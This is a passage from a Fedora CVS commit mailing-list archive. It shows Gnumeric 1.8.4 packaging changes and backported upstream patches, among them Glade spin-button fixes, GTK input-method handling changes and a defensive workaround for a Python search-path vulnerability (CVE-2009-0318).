 2009-01-18  Jody Goldberg <jody at gnome.org>
 
 	* Release 1.8.4
diff --git a/src/dialogs/anova-one.glade b/src/dialogs/anova-one.glade
index cf95a5b..a822db5 100644
--- a/src/dialogs/anova-one.glade
+++ b/src/dialogs/anova-one.glade
@@ -318,8 +318,7 @@
 		      <property name="update_policy">GTK_UPDATE_IF_VALID</property>
 		      <property name="snap_to_ticks">False</property>
 		      <property name="wrap">False</property>
-		      <property name="adjustment">0.05 0 1 0.01 10 10</property>
-		    </widget>
+		      <property name="adjustment">0.05 0 1 0.01 10 0</property>		    </widget>
 		    <packing>
 		      <property name="left_attach">1</property>
 		      <property name="right_attach">2</property>
diff --git a/src/dialogs/anova-two.glade b/src/dialogs/anova-two.glade
index 3b101fb..c25e425 100644
--- a/src/dialogs/anova-two.glade
+++ b/src/dialogs/anova-two.glade
@@ -263,8 +263,7 @@
 		      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 		      <property name="snap_to_ticks">False</property>
 		      <property name="wrap">False</property>
-		      <property name="adjustment">0.05 0 1 0.01 0.05 0.05</property>
-		    </widget>
+		      <property name="adjustment">0.05 0 1 0.01 0.05 0</property>		    </widget>
 		    <packing>
 		      <property name="left_attach">1</property>
 		      <property name="right_attach">2</property>
diff --git a/src/dialogs/cell-format.glade b/src/dialogs/cell-format.glade
index be30f4f..968754d 100644
--- a/src/dialogs/cell-format.glade
+++ b/src/dialogs/cell-format.glade
@@ -356,8 +356,7 @@
 				  <property name="update_policy">GTK_UPDATE_IF_VALID</property>
 				  <property name="snap_to_ticks">False</property>
 				  <property name="wrap">False</property>
-				  <property name="adjustment">0 0 20 1 10 10</property>
-				</widget>
+				  <property name="adjustment">0 0 20 1 10 0</property>				</widget>
 				<packing>
 				  <property name="left_attach">1</property>
 				  <property name="right_attach">2</property>
diff --git a/src/dialogs/col-width.glade b/src/dialogs/col-width.glade
index 907a629..f87b21a 100644
--- a/src/dialogs/col-width.glade
+++ b/src/dialogs/col-width.glade
@@ -148,8 +148,7 @@
 	      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 	      <property name="snap_to_ticks">False</property>
 	      <property name="wrap">False</property>
-	      <property name="adjustment">5 5 1000 1 5 5</property>
-	    </widget>
+	      <property name="adjustment">5 5 1000 1 5 0</property>	    </widget>
 	    <packing>
 	      <property name="left_attach">1</property>
 	      <property name="right_attach">2</property>
diff --git a/src/dialogs/descriptive-stats.glade b/src/dialogs/descriptive-stats.glade
index 9653553..35bde2c 100644
--- a/src/dialogs/descriptive-stats.glade
+++ b/src/dialogs/descriptive-stats.glade
@@ -474,8 +474,7 @@
 		  <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 		  <property name="snap_to_ticks">False</property>
 		  <property name="wrap">False</property>
-		  <property name="adjustment">0.05 0 1 0.01 10 10</property>
-		</widget>
+		  <property name="adjustment">0.05 0 1 0.01 10 0</property>		</widget>
 		<packing>
 		  <property name="left_attach">2</property>
 		  <property name="right_attach">3</property>
diff --git a/src/dialogs/dialog-stf.glade b/src/dialogs/dialog-stf.glade
index 0673cdd..77c7acd 100644
--- a/src/dialogs/dialog-stf.glade
+++ b/src/dialogs/dialog-stf.glade
@@ -515,8 +515,7 @@
 			  <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 			  <property name="snap_to_ticks">False</property>
 			  <property name="wrap">False</property>
-			  <property name="adjustment">1 1 100 1 10 10</property>
-			</widget>
+			  <property name="adjustment">1 1 100 1 10 0</property>			</widget>
 			<packing>
 			  <property name="padding">0</property>
 			  <property name="expand">False</property>
@@ -557,8 +556,7 @@
 			  <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 			  <property name="snap_to_ticks">False</property>
 			  <property name="wrap">False</property>
-			  <property name="adjustment">1 1 100 1 10 10</property>
-			</widget>
+			  <property name="adjustment">1 1 100 1 10 0</property>			</widget>
 			<packing>
 			  <property name="padding">0</property>
 			  <property name="expand">False</property>
diff --git a/src/dialogs/dialog-zoom.glade b/src/dialogs/dialog-zoom.glade
index 30e65cc..3cd716a 100644
--- a/src/dialogs/dialog-zoom.glade
+++ b/src/dialogs/dialog-zoom.glade
@@ -254,8 +254,7 @@
 			      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 			      <property name="snap_to_ticks">False</property>
 			      <property name="wrap">False</property>
-			      <property name="adjustment">100 10 500 5 25 25</property>
-			    </widget>
+			      <property name="adjustment">100 10 500 5 25 0</property>			    </widget>
 			    <packing>
 			      <property name="padding">0</property>
 			      <property name="expand">False</property>
diff --git a/src/dialogs/print.glade b/src/dialogs/print.glade
index 196ffd0..f2a1662 100644
--- a/src/dialogs/print.glade
+++ b/src/dialogs/print.glade
@@ -698,8 +698,7 @@
                                       <widget class="GtkSpinButton" id="scale-h-spin">
                                         <property name="visible">True</property>
                                         <property name="can_focus">True</property>
-                                        <property name="adjustment">1 1 100 1 10 10</property>
-                                        <property name="climb_rate">1</property>
+                                        <property name="adjustment">1 1 100 1 10 0</property>                                        <property name="climb_rate">1</property>
                                       </widget>
                                       <packing>
                                         <property name="left_attach">2</property>
@@ -747,8 +746,7 @@
                                       <widget class="GtkSpinButton" id="scale-v-spin">
                                         <property name="visible">True</property>
                                         <property name="can_focus">True</property>
-                                        <property name="adjustment">1 1 100 1 10 10</property>
-                                        <property name="climb_rate">1</property>
+                                        <property name="adjustment">1 1 100 1 10 0</property>                                        <property name="climb_rate">1</property>
                                       </widget>
                                       <packing>
                                         <property name="left_attach">2</property>
@@ -792,8 +790,7 @@
                                       <widget class="GtkSpinButton" id="scale-percent-spin">
                                         <property name="visible">True</property>
                                         <property name="can_focus">True</property>
-                                        <property name="adjustment">10 10 1000 1 10 10</property>
-                                        <property name="climb_rate">1</property>
+                                        <property name="adjustment">10 10 1000 1 10 0</property>                                        <property name="climb_rate">1</property>
                                         <property name="digits">1</property>
                                         <property name="numeric">True</property>
                                       </widget>
diff --git a/src/dialogs/row-height.glade b/src/dialogs/row-height.glade
index 71e62b0..3004d87 100644
--- a/src/dialogs/row-height.glade
+++ b/src/dialogs/row-height.glade
@@ -149,8 +149,7 @@
 	      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 	      <property name="snap_to_ticks">False</property>
 	      <property name="wrap">False</property>
-	      <property name="adjustment">5 5 1000 1 5 5</property>
-	    </widget>
+	      <property name="adjustment">5 5 1000 1 5 0</property>	    </widget>
 	    <packing>
 	      <property name="left_attach">1</property>
 	      <property name="right_attach">2</property>
diff --git a/src/dialogs/simulation.glade b/src/dialogs/simulation.glade
index d084dfc..356c90b 100644
--- a/src/dialogs/simulation.glade
+++ b/src/dialogs/simulation.glade
@@ -345,8 +345,7 @@
 		      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 		      <property name="snap_to_ticks">False</property>
 		      <property name="wrap">False</property>
-		      <property name="adjustment">10 1 36000 10 10 10</property>
-		    </widget>
+		      <property name="adjustment">10 1 36000 10 10 0</property>		    </widget>
 		    <packing>
 		      <property name="left_attach">2</property>
 		      <property name="right_attach">3</property>
@@ -366,8 +365,7 @@
 		      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 		      <property name="snap_to_ticks">False</property>
 		      <property name="wrap">False</property>
-		      <property name="adjustment">1000 1 1e+10 1000 10 10</property>
-		    </widget>
+		      <property name="adjustment">1000 1 1e+10 1000 10 0</property>		    </widget>
 		    <packing>
 		      <property name="left_attach">2</property>
 		      <property name="right_attach">3</property>
@@ -387,8 +385,7 @@
 		      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 		      <property name="snap_to_ticks">False</property>
 		      <property name="wrap">False</property>
-		      <property name="adjustment">1 1 1e+08 1 10 10</property>
-		    </widget>
+		      <property name="adjustment">1 1 1e+08 1 10 0</property>		    </widget>
 		    <packing>
 		      <property name="left_attach">2</property>
 		      <property name="right_attach">3</property>
@@ -408,8 +405,7 @@
 		      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 		      <property name="snap_to_ticks">False</property>
 		      <property name="wrap">False</property>
-		      <property name="adjustment">1 1 1e+08 1 10 10</property>
-		    </widget>
+		      <property name="adjustment">1 1 1e+08 1 10 0</property>		    </widget>
 		    <packing>
 		      <property name="left_attach">2</property>
 		      <property name="right_attach">3</property>
diff --git a/src/dialogs/so-scrollbar.glade b/src/dialogs/so-scrollbar.glade
index f4d7de2..8890bbb 100644
--- a/src/dialogs/so-scrollbar.glade
+++ b/src/dialogs/so-scrollbar.glade
@@ -194,8 +194,7 @@
 	      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 	      <property name="snap_to_ticks">False</property>
 	      <property name="wrap">False</property>
-	      <property name="adjustment">0 0 3001 1 10 1</property>
-	      <accessibility>
+	      <property name="adjustment">0 0 3001 1 10 0</property>	      <accessibility>
 		<atkrelation target="label_min" type="labelled-by"/>
 	      </accessibility>
 	    </widget>
@@ -218,8 +217,7 @@
 	      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 	      <property name="snap_to_ticks">False</property>
 	      <property name="wrap">False</property>
-	      <property name="adjustment">0 0 3001 1 10 1</property>
-	      <accessibility>
+	      <property name="adjustment">0 0 3001 1 10 0</property>	      <accessibility>
 		<atkrelation target="label_max" type="labelled-by"/>
 	      </accessibility>
 	    </widget>
@@ -242,8 +240,7 @@
 	      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 	      <property name="snap_to_ticks">False</property>
 	      <property name="wrap">False</property>
-	      <property name="adjustment">0 0 3001 1 10 1</property>
-	      <accessibility>
+	      <property name="adjustment">0 0 3001 1 10 0</property>	      <accessibility>
 		<atkrelation target="label_increment" type="labelled-by"/>
 	      </accessibility>
 	    </widget>
@@ -266,8 +263,7 @@
 	      <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 	      <property name="snap_to_ticks">False</property>
 	      <property name="wrap">False</property>
-	      <property name="adjustment">0 0 3001 1 10 1</property>
-	      <accessibility>
+	      <property name="adjustment">0 0 3001 1 10 0</property>	      <accessibility>
 		<atkrelation target="label_page" type="labelled-by"/>
 	      </accessibility>
 	    </widget>
diff --git a/src/dialogs/solver.glade b/src/dialogs/solver.glade
index 66eab7c..b58fdf3 100644
--- a/src/dialogs/solver.glade
+++ b/src/dialogs/solver.glade
@@ -668,8 +668,7 @@ Bool
 		  <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 		  <property name="snap_to_ticks">False</property>
 		  <property name="wrap">False</property>
-		  <property name="adjustment">100 1 1e+10 10 10 10</property>
-		</widget>
+		  <property name="adjustment">100 1 1e+10 10 10 0</property>		</widget>
 		<packing>
 		  <property name="left_attach">1</property>
 		  <property name="right_attach">2</property>
@@ -689,8 +688,7 @@ Bool
 		  <property name="update_policy">GTK_UPDATE_ALWAYS</property>
 		  <property name="snap_to_ticks">False</property>
 		  <property name="wrap">False</property>
-		  <property name="adjustment">30 1 36000 10 10 10</property>
-		</widget>
+		  <property name="adjustment">30 1 36000 10 10 0</property>		</widget>
 		<packing>
 		  <property name="left_attach">1</property>
 		  <property name="right_attach">2</property>
--
cgit v0.8.2


Index: gnumeric.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnumeric/F-12/gnumeric.spec,v
retrieving revision 1.48
retrieving revision 1.49
diff -u -p -r1.48 -r1.49
--- gnumeric.spec	12 Oct 2009 07:30:39 -0000	1.48
+++ gnumeric.spec	20 Oct 2009 22:30:07 -0000	1.49
@@ -1,7 +1,7 @@
 Name:             gnumeric
 Epoch:            1
 Version:          1.8.4
-Release:          4%{?dist}
+Release:          5%{?dist}
 Summary:          Spreadsheet program for GNOME
 Group:            Applications/Productivity
 # bug filed upstream about this being GPL v2 only:
@@ -12,7 +12,10 @@ Source:           ftp://ftp.gnome.org/pu
 Patch0:		  gnumeric-1.8.4-desktop.patch
 Patch1:           gnumeric-1.8.1-gnomedb-vercheck.patch
 Patch2:		  gnumeric-1.8.2-python.patch
-Patch3:		  gnumeric-1.8.4-recent.patch
+Patch3:		  gnumeric-1.8.4-backport-20090129.patch
+Patch4:		  gnumeric-1.8.4-backport-20090309.patch
+Patch5:		  gnumeric-1.8.4-backport-20090314.patch
+Patch6:		  gnumeric-1.8.4-backport-20090430.patch
 BuildRoot:        %{_tmppath}/%{name}-%{version}-root
 BuildRequires:    libgnomeui-devel >= 2.4.0
 BuildRequires:    libgnomeprintui22-devel >= 2.8.2
@@ -64,7 +67,10 @@ This package contains the following addi
 %patch0 -p1 -b .desktop
 %patch1 -p1
 %patch2 -p1 -b .new
-%patch3 -p1 
+%patch3 -p1 -b backport-20090129
+%patch4 -p1 -b backport-20090309
+%patch5 -p1 -b backport-20090314
+%patch6 -p1 -b backport-20090430
 
 chmod -x plugins/excel/rc4.?
 
@@ -193,6 +199,9 @@ fi
 
 
 %changelog
+* Wed Oct 21 2009 Robert Scheck <robert at fedoraproject.org> 1:1.8.4-5
+- Applied 4 patches from the 1.8 stable branch (#500890, #505001)
+
 * Mon Oct 12 2009 Huzaifa Sidhpurwala <huzaifas at redhat.com> 1:1.8.4-4
 - Resolve rhbz #500890
 


--- gnumeric-1.8.4-recent.patch DELETED ---



From robert at fedoraproject.org  Tue Oct 20 22:30:07 2009
From: robert at fedoraproject.org (Robert Scheck)
Date: Tue, 20 Oct 2009 22:30:07 +0000 (UTC)
Subject: rpms/gnumeric/F-11 gnumeric-1.8.4-backport-20090129.patch, NONE,
	1.1 gnumeric-1.8.4-backport-20090309.patch, NONE,
	1.1 gnumeric-1.8.4-backport-20090314.patch, NONE,
	1.1 gnumeric-1.8.4-backport-20090430.patch, NONE,
	1.1 gnumeric.spec, 1.46, 1.47 gnumeric-1.8.4-recent.patch, 1.1, NONE
Message-ID: <20091020223007.B9B7211C02A4@cvs1.fedora.phx.redhat.com>

Author: robert

Update of /cvs/pkgs/rpms/gnumeric/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13200/F-11

Modified Files:
	gnumeric.spec 
Added Files:
	gnumeric-1.8.4-backport-20090129.patch 
	gnumeric-1.8.4-backport-20090309.patch 
	gnumeric-1.8.4-backport-20090314.patch 
	gnumeric-1.8.4-backport-20090430.patch 
Removed Files:
	gnumeric-1.8.4-recent.patch 
Log Message:
Applied 4 patches from the 1.8 stable branch (#500890, #505001)


gnumeric-1.8.4-backport-20090129.patch:
 NEWS                                       |    6 ++++++
 plugins/python-loader/ChangeLog            |    6 ++++++
 plugins/python-loader/gnm-py-interpreter.c |    3 +--
 3 files changed, 13 insertions(+), 2 deletions(-)

--- NEW FILE gnumeric-1.8.4-backport-20090129.patch ---
>From 8287b580c6e9d99cb095e4084d485f513180dca8 Mon Sep 17 00:00:00 2001
From: J.H.M. Dassen (Ray) <jdassen at src.gnome.org>
Date: Thu, 29 Jan 2009 14:33:02 +0000
Subject: Backport of fix for CVE-2009-0318 [#569648]

svn path=/branches/gnumeric-1-8/; revision=17111
---
diff --git a/NEWS b/NEWS
index cc2354f..a9ba585 100644
--- a/NEWS
+++ b/NEWS
@@ -1,3 +1,9 @@
+Gnumeric 1.8.5
+
+Jon K?re:
+        * Work around vulnerability in Python. CVE-2009-0318 [#569648]
+
+--------------------------------------------------------------------------
 Gnumeric 1.8.4
 
 Henry Law:
diff --git a/plugins/python-loader/ChangeLog b/plugins/python-loader/ChangeLog
index 8609fee..5978766 100644
--- a/plugins/python-loader/ChangeLog
+++ b/plugins/python-loader/ChangeLog
@@ -1,3 +1,9 @@
+2009-01-29  Jon K Hellan  <hellan at acm.org>
+
+	* gnm-py-interpreter.c (gnm_py_interpreter_new): Work around
+	security vulnerability in Python by making argv start with
+	"/dev/null". #569648.
+
 2009-01-18  Jody Goldberg <jody at gnome.org>
 
 	* Release 1.8.4
diff --git a/plugins/python-loader/gnm-py-interpreter.c b/plugins/python-loader/gnm-py-interpreter.c
index 4664f2e..a33f38a 100644
--- a/plugins/python-loader/gnm-py-interpreter.c
+++ b/plugins/python-loader/gnm-py-interpreter.c
@@ -79,7 +79,7 @@ gnm_py_interpreter_class_init (GObjectClass *gobject_class)
 		G_TYPE_NONE, 0);
 }
 
-static char *plugin_argv[] = {(char *) "gnumeric", NULL};
+static char *plugin_argv[] = {(char *) "/dev/null/python/is/buggy/gnumeric", NULL};
 
 GnmPyInterpreter *
 gnm_py_interpreter_new (GOPlugin *plugin)
--
cgit v0.8.2

gnumeric-1.8.4-backport-20090309.patch:
 NEWS                           |    4 ++++
 src/dialogs/hf-config.glade    |    2 +-
 src/dialogs/hf-dt-format.glade |    2 +-
 src/dialogs/preferences.glade  |    3 +--
 4 files changed, 7 insertions(+), 4 deletions(-)

--- NEW FILE gnumeric-1.8.4-backport-20090309.patch ---
>From 186423184f2ed8825f00fff8f12669ed99c8de2c Mon Sep 17 00:00:00 2001
From: Morten Welinder <mortenw at src.gnome.org>
Date: Mon, 09 Mar 2009 13:54:19 +0000
Subject: Backport.

Morten:
	* Fix problem with dialogs not showing up in fullscreen mode.
	[#574602]


svn path=/branches/gnumeric-1-8/; revision=17181
---
diff --git a/NEWS b/NEWS
index a9ba585..3603561 100644
--- a/NEWS
+++ b/NEWS
@@ -3,6 +3,10 @@ Gnumeric 1.8.5
 Jon K?re:
         * Work around vulnerability in Python. CVE-2009-0318 [#569648]
 
+Morten:
+	* Fix problem with dialogs not showing up in fullscreen mode.
+	[#574602]
+
 --------------------------------------------------------------------------
 Gnumeric 1.8.4
 
diff --git a/src/dialogs/hf-config.glade b/src/dialogs/hf-config.glade
index 1346ce4..e082ed8 100644
--- a/src/dialogs/hf-config.glade
+++ b/src/dialogs/hf-config.glade
@@ -5,7 +5,7 @@
   <widget class="GtkDialog" id="hf-config">
     <property name="width_request">600</property>
     <property name="window_position">GTK_WIN_POS_CENTER_ON_PARENT</property>
-    <property name="type_hint">GDK_WINDOW_TYPE_HINT_NORMAL</property>
+    <property name="type_hint">GDK_WINDOW_TYPE_HINT_DIALOG</property>
     <child internal-child="vbox">
       <widget class="GtkVBox" id="dialog-vbox1">
         <property name="spacing">8</property>
diff --git a/src/dialogs/hf-dt-format.glade b/src/dialogs/hf-dt-format.glade
index ee0e1e8..f2c3f39 100644
--- a/src/dialogs/hf-dt-format.glade
+++ b/src/dialogs/hf-dt-format.glade
@@ -5,7 +5,7 @@
   <widget class="GtkDialog" id="hf-dt-format">
     <property name="width_request">600</property>
     <property name="window_position">GTK_WIN_POS_CENTER_ON_PARENT</property>
-    <property name="type_hint">GDK_WINDOW_TYPE_HINT_NORMAL</property>
+    <property name="type_hint">GDK_WINDOW_TYPE_HINT_DIALOG</property>
     <child internal-child="vbox">
       <widget class="GtkVBox" id="dialog-vbox1">
         <property name="spacing">8</property>
diff --git a/src/dialogs/preferences.glade b/src/dialogs/preferences.glade
index 01cbfef..163d714 100644
--- a/src/dialogs/preferences.glade
+++ b/src/dialogs/preferences.glade
@@ -7,7 +7,7 @@
     <property name="title" translatable="yes">Gnumeric Preferences</property>
     <property name="default_width">350</property>
     <property name="default_height">300</property>
-    <property name="type_hint">GDK_WINDOW_TYPE_HINT_NORMAL</property>
+    <property name="type_hint">GDK_WINDOW_TYPE_HINT_DIALOG</property>
     <property name="has_separator">False</property>
     <child internal-child="vbox">
       <widget class="GtkVBox" id="dialog-vbox1">
--
cgit v0.8.2

gnumeric-1.8.4-backport-20090314.patch:
 ChangeLog             |   11 +++++++++++
 b/ChangeLog           |    4 ++++
 b/NEWS                |    3 +++
 b/src/application.c   |    6 +++++-
 b/src/application.h   |    4 +++-
 b/src/gnm-pane-impl.h |    7 +++----
 b/src/gnm-pane.c      |   40 ++++++++++++++++++++++++++++------------
 b/src/gnm-plugin.c    |    6 ++++--
 b/src/wbc-gtk.c       |    3 +--
 9 files changed, 62 insertions(+), 22 deletions(-)

--- NEW FILE gnumeric-1.8.4-backport-20090314.patch ---
>From 9932dc2cafe66b752e965175a3cbe9889819feb5 Mon Sep 17 00:00:00 2001
From: Jody Goldberg <jody at gnome.org>
Date: Sat, 14 Mar 2009 22:21:18 +0000
Subject: clear the 'im_block_edit_start' flag. (gnm_pane_unrealize) : set the flag.

2009-03-13  Jody Goldberg <jody at gnome.org>

	* src/gnm-pane.c (gnm_pane_realize) : clear the 'im_block_edit_start' flag.
	(gnm_pane_unrealize) : set the flag.

	* src/application.c (gnm_app_add_extra_ui) : take a group name.
	(gnm_app_remove_extra_ui) : patch minor leak.
	* src/gnm-plugin.c (plugin_service_ui_activate) : use the supplied
	  group name rather than a static name that is shared between all
	  custom ui.



svn path=/branches/gnumeric-1-8/; revision=17077
---
diff --git a/ChangeLog b/ChangeLog
index 62ecf6f..6ac6e49 100644
--- a/ChangeLog
+++ b/ChangeLog
@@ -1,5 +1,9 @@
 2009-01-18  Jody Goldberg <jody at gnome.org>
 
+	* configure.in : post release bump
+
+2009-01-18  Jody Goldberg <jody at gnome.org>
+
 	* Release 1.8.4
 
 2009-01-11  J.H.M. Dassen (Ray) <jdassen at debian.org>
diff --git a/ChangeLog b/ChangeLog
index 6ac6e49..17b282a 100644
--- a/ChangeLog
+++ b/ChangeLog
@@ -1,3 +1,14 @@
+2009-03-13  Jody Goldberg <jody at gnome.org>
+
+	* src/gnm-pane.c (gnm_pane_realize) : clear the 'im_block_edit_start' flag.
+	(gnm_pane_unrealize) : set the flag.
+
+	* src/application.c (gnm_app_add_extra_ui) : take a group name.
+	(gnm_app_remove_extra_ui) : patch minor leak.
+	* src/gnm-plugin.c (plugin_service_ui_activate) : use the supplied
+	  group name rather than a static name that is shared between all
+	  custom ui.
+
 2009-01-18  Jody Goldberg <jody at gnome.org>
 
 	* configure.in : post release bump
diff --git a/NEWS b/NEWS
index 3603561..4391951 100644
--- a/NEWS
+++ b/NEWS
@@ -1,5 +1,8 @@
 Gnumeric 1.8.5
 
+Jody:
+	* Work around semantic changes in gtk-2.16.
+
 Jon K?re:
         * Work around vulnerability in Python. CVE-2009-0318 [#569648]
 
diff --git a/src/application.c b/src/application.c
index fccd626..04a47e7 100644
--- a/src/application.c
+++ b/src/application.c
@@ -815,12 +815,14 @@ gnm_action_free (GnmAction *action)
 }
 
 GnmAppExtraUI *
-gnm_app_add_extra_ui (GSList *actions, char *layout,
+gnm_app_add_extra_ui (char const *group_name,
+		      GSList *actions, char *layout,
 		      char const *domain,
 		      gpointer user_data)
 {
 	GnmAppExtraUI *extra_ui = g_new0 (GnmAppExtraUI, 1);
 	extra_uis = g_slist_prepend (extra_uis, extra_ui);
+	extra_ui->group_name = g_strdup (group_name);
 	extra_ui->actions = actions;
 	extra_ui->layout = layout;
 	extra_ui->user_data = user_data;
@@ -832,6 +834,8 @@ void
 gnm_app_remove_extra_ui (GnmAppExtraUI *extra_ui)
 {
 	g_signal_emit (G_OBJECT (app), signals [CUSTOM_UI_REMOVED], 0, extra_ui);
+	g_free (extra_ui->group_name);
+	g_free (extra_ui);
 }
 
 void
diff --git a/src/application.h b/src/application.h
index 18d8837..ccf7c01 100644
--- a/src/application.h
+++ b/src/application.h
@@ -79,6 +79,7 @@ struct _GnmAction {
 	GnmActionHandler	handler;
 };
 typedef struct {
+	char const *group_name;
 	GSList	   *actions;
 	char	   *layout;
 	char const *domain;
@@ -90,7 +91,8 @@ GnmAction *gnm_action_new  (char const *name, char const *label,
 			    GnmActionHandler handler);
 void	   gnm_action_free (GnmAction *action);
 
-GnmAppExtraUI *gnm_app_add_extra_ui (GSList *actions, char *layout,
+GnmAppExtraUI *gnm_app_add_extra_ui (char const *group_name,
+				     GSList *actions, char *layout,
 				     char const *domain,
 				     gpointer user_data);
 void	   gnm_app_remove_extra_ui  (GnmAppExtraUI *extra_ui);
diff --git a/src/gnm-pane-impl.h b/src/gnm-pane-impl.h
index 90578b8..a38e2dc 100644
--- a/src/gnm-pane-impl.h
+++ b/src/gnm-pane-impl.h
@@ -30,14 +30,13 @@ struct _GnmPane {
 	gboolean   sliding_adjacent_h, sliding_adjacent_v;
 
 	/*  IM */
-	guint      reseting_im :1;	/* quick hack to keep gtk_im_context_reset from starting an edit */
+	guint im_block_edit_start :1; /* see gnm_pane_key_press for details */
+	guint im_first_focus	  :1; /* see gnm_pane_init for details */
 	guint      preedit_length;
 	GtkIMContext  *im_context;
 	PangoAttrList *preedit_attrs;
-	gboolean insert_decimal;
-
-
 
+	gboolean insert_decimal;
 
 	int		 index;
 	struct {
diff --git a/src/gnm-pane.c b/src/gnm-pane.c
index 68be0d4..58f1579 100644
--- a/src/gnm-pane.c
+++ b/src/gnm-pane.c
@@ -587,11 +587,15 @@ gnm_pane_key_press (GtkWidget *widget, GdkEventKey *event)
 		event->keyval == GDK_KP_Decimal ||
 		event->keyval == GDK_KP_Separator;
 
-	if (gtk_im_context_filter_keypress (pane->im_context,event))
+	if (gtk_im_context_filter_keypress (pane->im_context, event))
 		return TRUE;
-	pane->reseting_im = TRUE;
+
+	/* in gtk-2.8 something changed.  gtk_im_context_reset started
+	 * triggering a pre-edit-changed.  We'd end up start and finishing an
+	 * empty edit every time the cursor moved */
+	pane->im_block_edit_start = TRUE;
 	gtk_im_context_reset (pane->im_context);
-	pane->reseting_im = FALSE;
+	pane->im_block_edit_start = FALSE;
 
 	if (gnm_pane_key_mode_sheet (pane, event, allow_rangesel))
 		return TRUE;
@@ -628,7 +632,17 @@ static gint
 gnm_pane_focus_in (GtkWidget *widget, GdkEventFocus *event)
 {
 #ifndef GNM_USE_HILDON
+	/* The first call to focus-in was sometimes the first thing to init the
+	 * imcontext.  In which case the im_context_focus_in would fire a
+	 * preedit-changed, and we would start editing. */
+	GnmPane *pane = GNM_PANE (widget);
+	if (pane->im_first_focus)
+		pane->im_block_edit_start = TRUE;
 	gtk_im_context_focus_in (GNM_PANE (widget)->im_context);
+	if (pane->im_first_focus) {
+		pane->im_first_focus = FALSE;
+		pane->im_block_edit_start = FALSE;
+	}
 #endif
 	return (*GTK_WIDGET_CLASS (parent_klass)->focus_in_event) (widget, event);
 }
@@ -645,6 +659,8 @@ gnm_pane_realize (GtkWidget *w)
 {
 	GtkStyle  *style;
 
+	GNM_PANE (w)->im_block_edit_start = FALSE;
+
 	if (GTK_WIDGET_CLASS (parent_klass)->realize)
 		(*GTK_WIDGET_CLASS (parent_klass)->realize) (w);
 
@@ -667,8 +683,10 @@ gnm_pane_unrealize (GtkWidget *widget)
 	pane = GNM_PANE (widget);
 	g_return_if_fail (pane != NULL);
 
-	if (pane->im_context)
+	if (pane->im_context) {
+		pane->im_block_edit_start = TRUE;
 		gtk_im_context_set_client_window (pane->im_context, NULL);
+	}
 
 	(*GTK_WIDGET_CLASS (parent_klass)->unrealize)(widget);
 }
@@ -733,10 +751,7 @@ cb_gnm_pane_preedit_changed (GtkIMContext *context, GnmPane *pane)
 		pango_attr_list_unref (pane->preedit_attrs);
 	gtk_im_context_get_preedit_string (pane->im_context, &preedit_string, &pane->preedit_attrs, &cursor_pos);
 
-	/* in gtk-2.8 something changed.  gtk_im_context_reset started
-	 * triggering a pre-edit-changed.  We'd end up start and finishing an
-	 * empty edit every time the cursor moved */
-	if (!pane->reseting_im &&
+	if (!pane->im_block_edit_start &&
 	    !wbcg_is_editing (wbcg) && !wbcg_edit_start (wbcg, TRUE, TRUE)) {
 		gtk_im_context_reset (pane->im_context);
 		pane->preedit_length = 0;
@@ -911,8 +926,9 @@ gnm_pane_init (GnmPane *pane)
 
 	pane->im_context = gtk_im_multicontext_new ();
 	pane->preedit_length = 0;
-	pane->preedit_attrs = NULL;
-	pane->reseting_im = FALSE;
+	pane->preedit_attrs    = NULL;
+	pane->im_block_edit_start = FALSE;
+	pane->im_first_focus = TRUE;
 
 	GTK_WIDGET_SET_FLAGS (canvas, GTK_CAN_FOCUS);
 	GTK_WIDGET_SET_FLAGS (canvas, GTK_CAN_DEFAULT);
@@ -2062,9 +2078,9 @@ gnm_pane_size_guide_start (GnmPane *pane, gboolean vert, int colrow, int width)
 			"width-pixels", 1,
 			NULL);
 	else {
-		static char const dat [] = { 0x22, 0x88, 0x22, 0x88, 0x22, 0x88, 0x22, 0x88 };
+		static unsigned char const dat [] = { 0x22, 0x88, 0x22, 0x88, 0x22, 0x88, 0x22, 0x88 };
 		GdkBitmap *stipple = gdk_bitmap_create_from_data (
-			GTK_WIDGET (pane)->window, dat, 8, 8);
+			GTK_WIDGET (pane)->window, (const gchar *)dat, 8, 8);
 		foo_canvas_item_set (pane->size_guide.guide, "fill-stipple", stipple, NULL);
 		g_object_unref (stipple);
 	}
diff --git a/src/gnm-plugin.c b/src/gnm-plugin.c
index d546a39..dd659bd 100644
--- a/src/gnm-plugin.c
+++ b/src/gnm-plugin.c
@@ -363,7 +363,7 @@ plugin_service_ui_activate (GOPluginService *service, ErrorInfo **ret_error)
 	PluginServiceUI *service_ui = GNM_PLUGIN_SERVICE_UI (service);
 	GError *err = NULL;
 	char *full_file_name;
-	char *xml_ui;
+	char *xml_ui, *group_name;
 	char const *textdomain;
 
 	GO_INIT_RET_ERROR_INFO (ret_error);
@@ -380,9 +380,11 @@ plugin_service_ui_activate (GOPluginService *service, ErrorInfo **ret_error)
 	g_free (full_file_name);
 
 	textdomain = go_plugin_get_textdomain (service->plugin);
-	service_ui->layout_id = gnm_app_add_extra_ui (
+	group_name = g_strconcat (go_plugin_get_id (service->plugin), service->id, NULL);
+	service_ui->layout_id = gnm_app_add_extra_ui (group_name,
 		service_ui->actions,
 		xml_ui, textdomain, service);
+	g_free (group_name);
 	service->is_active = TRUE;
 }
 
diff --git a/src/wbc-gtk.c b/src/wbc-gtk.c
index 6a7db0c..d687aa8 100644
--- a/src/wbc-gtk.c
+++ b/src/wbc-gtk.c
@@ -3010,7 +3010,7 @@ cb_add_custom_ui (G_GNUC_UNUSED GnmApp *app,
 	GtkAction       *res;
 
 	details = g_new0 (CustomUIHandle, 1);
-	details->actions = gtk_action_group_new ("DummyName");
